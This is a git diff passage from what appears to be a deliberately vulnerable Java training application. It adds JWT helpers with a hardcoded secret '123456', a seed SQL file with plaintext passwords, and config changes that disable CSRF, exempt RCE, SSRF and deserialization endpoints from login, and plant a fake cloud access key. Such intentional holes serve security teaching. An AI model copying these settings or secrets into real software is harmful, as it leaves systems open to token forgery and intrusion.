1440 * 60 * 1000; // 1440 Minutes, 1 DAY + private static final String SECRET = "123456"; + private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8)); + + /** + * Generate JWT Token by jjwt (last update time: Jul 05, 2018) + * + * @author JoyChou 2022-09-20 + * @param userId userid + * @return token + */ + public static String generateTokenByJjwt(String userId) { + return Jwts.builder() + .setHeaderParam("typ", "JWT") // header + .setHeaderParam("alg", "HS256") // header + .setIssuedAt(new Date()) // token发布时间 + .setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间 + .claim("userid", userId) + // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。 + .signWith(SignatureAlgorithm.HS256, B64_SECRET) + .compact(); + } + + public static String getUserIdFromJjwtToken(String token) { + try { + Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody(); + return (String)claims.get("userid"); + } catch (Exception e) { + return e.toString(); + } + } + + /** + * Generate jwt token by java-jwt. + * + * @author JoyChou 2022-09-20 + * @param nickname nickname + * @return jwt token + */ + public static String generateTokenByJavaJwt(String nickname) { + return JWT.create() + .withClaim("nickname", nickname) + .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE)) + .withIssuedAt(new Date()) + .sign(Algorithm.HMAC256(SECRET)); + } + + + /** + * Verify JWT Token + * @param token token + * @return Valid token returns true. Invalid token returns false. + */ + public static Boolean verifyTokenByJavaJwt(String token) { + try { + Algorithm algorithm = Algorithm.HMAC256(SECRET); + JWTVerifier verifier = JWT.require(algorithm).build(); + verifier.verify(token); + return true; + } catch (JWTVerificationException exception){ + log.error(exception.toString()); + return false; + } + } + + + public static String getNicknameByJavaJwt(String token) { + // If the signature is not verified, there will be security issues. + if (!verifyTokenByJavaJwt(token)) { + log.error("token is invalid"); + return null; + } + return JWT.decode(token).getClaim("nickname").asString(); + } + + + public static void main(String[] args) { + String jjwtToken = generateTokenByJjwt("10000"); + System.out.println(jjwtToken); + System.out.println(getUserIdFromJjwtToken(jjwtToken)); + + String token = generateTokenByJavaJwt("JoyChou"); + System.out.println(token); + System.out.println(getNicknameByJavaJwt(token)); + } +} diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java new file mode 100644 index 00000000..93ccbd9f --- /dev/null +++ b/src/main/java/org/joychou/util/LoginUtils.java @@ -0,0 +1,21 @@ +package org.joychou.util; + +import com.alibaba.fastjson.JSON; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; +import java.util.HashMap; +import java.util.Map; + +public class LoginUtils { + + // get current login username + public static String getUserInfo2JsonStr(HttpServletRequest request) { + Principal principal = request.getUserPrincipal(); + String username = principal.getName(); + Map m = new HashMap<>(); + m.put("Username", username); + + return JSON.toJSONString(m); + } +} diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java new file mode 100644 index 00000000..0445f310 --- /dev/null +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -0,0 +1,51 @@ +package org.joychou.util; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import java.io.*; + +import com.google.common.base.Preconditions; +import org.springframework.web.util.HtmlUtils; + +public class WebUtils { + + // Get request body. + public static String getRequestBody(HttpServletRequest request) throws IOException { + InputStream in = request.getInputStream(); + return convertStreamToString(in); + } + + // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java + public static String convertStreamToString(java.io.InputStream is) { + java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); + return s.hasNext() ? s.next() : ""; + } + + public static String getCookieValueByName(HttpServletRequest request, String cookieName) { + Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName); + return cookie == null ? null : cookie.getValue(); + } + + + public static String json2Jsonp(String callback, String jsonStr) { + return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")"; + } + + + public static String getFileExtension(String fullName) { + Preconditions.checkNotNull(fullName); + String fileName = (new File(fullName)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1); + } + + + public static String getNameWithoutExtension(String file) { + Preconditions.checkNotNull(file); + String fileName = (new File(file)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex); + } + + +} diff --git a/src/main/java/org/joychou/utils/Tools.java b/src/main/java/org/joychou/utils/Tools.java deleted file mode 100644 index 7e1b1431..00000000 --- a/src/main/java/org/joychou/utils/Tools.java +++ /dev/null @@ -1,20 +0,0 @@ -package org.joychou.utils; - -import javax.servlet.http.HttpServletRequest; -import java.io.IOException; -import java.io.InputStream; - -public class Tools { - - // Get request body. - public static String getRequestBody(HttpServletRequest request) throws IOException { - InputStream in = request.getInputStream(); - return convertStreamToString(in); - } - - // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java - public static String convertStreamToString(java.io.InputStream is) { - java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); - return s.hasNext() ? s.next() : ""; - } -} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 25ad5e97..326a2b76 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,20 +1,24 @@ -spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?AllowPublicKeyRetrieval=true&useSSL=false +spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC spring.datasource.username=root spring.datasource.password=woshishujukumima spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver mybatis.mapper-locations=classpath:mapper/*.xml +# mybatis SQL log +logging.level.org.joychou.mapper=debug - -# Spring Boot Actuator Vulnerable Config +# Spring Boot Actuator Config management.security.enabled=false + # logging.config=classpath:logback-online.xml +# jsonp callback parameter +joychou.business.callback = callback_ ### check referer configuration begins ### joychou.security.referer.enabled = false -joychou.security.referer.hostwhitelist = joychou.org, joychou.com +joychou.security.referer.host = joychou.org, joychou.com # Only support ant url style. joychou.security.referer.uri = /jsonp/** ### check referer configuration ends ### @@ -22,15 +26,34 @@ joychou.security.referer.uri = /jsonp/** ### csrf configuration begins ### # csrf token check -joychou.security.csrf.enabled = true +joychou.security.csrf.enabled = false # URI without CSRF check (only support ANT url format) -joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/** +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/** # method for CSRF check joychou.security.csrf.method = POST ### csrf configuration ends ### -### jsonp configuration begins ### # auto convert json to jsonp -# callback parameters name +### jsonp configuration begins ### +# auto convert json to jsonp +# referer check +joychou.security.jsonp.referer.check.enabled = true joychou.security.jsonp.callback = callback, _callback -### jsonp configuration ends ### \ No newline at end of file +### jsonp configuration ends ### + +# swagger +swagger.enable = true + + +### no need to login page begins ### +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/** +### no need to login page ends ### + + + +# http header max size +#server.max-http-header-size=30000 + +# Fake aksk. Simulate actuator info leak. +jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y +jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7 \ No newline at end of file diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt new file mode 100644 index 00000000..45e1698c --- /dev/null +++ b/src/main/resources/banner.txt @@ -0,0 +1,6 @@ + ____. _________ _________ .___ + | |____ ___ _______ / _____/ ____ ____ \_ ___ \ ____ __| _/____ + | \__ \\ \/ /\__ \ \_____ \_/ __ \_/ ___\ / \ \/ / _ \ / __ |/ __ \ +/\__| |/ __ \\ / / __ \_ / \ ___/\ \___ \ \___( <_> ) /_/ \ ___/ +\________(____ /\_/ (____ / /_______ /\___ >\___ > \______ /\____/\____ |\___ > + \/ \/ \/ \/ \/ \/ \/ \/ \ No newline at end of file diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql new file mode 100644 index 00000000..350b24f1 --- /dev/null +++ b/src/main/resources/create_db.sql @@ -0,0 +1,9 @@ +USE `java_sec_code`; +CREATE TABLE IF NOT EXISTS `users`( + `id` INT UNSIGNED AUTO_INCREMENT, + `username` VARCHAR(255) NOT NULL, + `password` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id`) +)ENGINE=InnoDB DEFAULT CHARSET=utf8; +INSERT INTO `users` VALUES (1, 'admin', 'admin123'); +INSERT INTO `users` VALUES (2, 'joychou', 'joychou123'); diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml index dd88f424..e6894071 100644 --- a/src/main/resources/mapper/UserMapper.xml +++ b/src/main/resources/mapper/UserMapper.xml @@ -13,10 +13,22 @@ + + + + + diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 15b78a69..7e7061be 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -5,17 +5,30 @@ Home Page -

Hello .

-

Welcome to login java-sec-code application. Application Infomation

-

- CmdInject   - JSONP   - PathTraversal   - SqlInject   - SSRF   - RCE -

-

...

- logout +

Hello .

+

Welcome to login java-sec-code application. Application Infomation

+

+ Swagger   + CmdInject   + JSONP   + Picture Upload   + File Upload   + Cors   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE + actuator env +

+ +

+ JWTCreateToken + GetUserFromJWTToken +

+

...

+logout + - \ No newline at end of file + diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index f5c4f7f2..d5c4ccd5 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -8,7 +8,7 @@ - +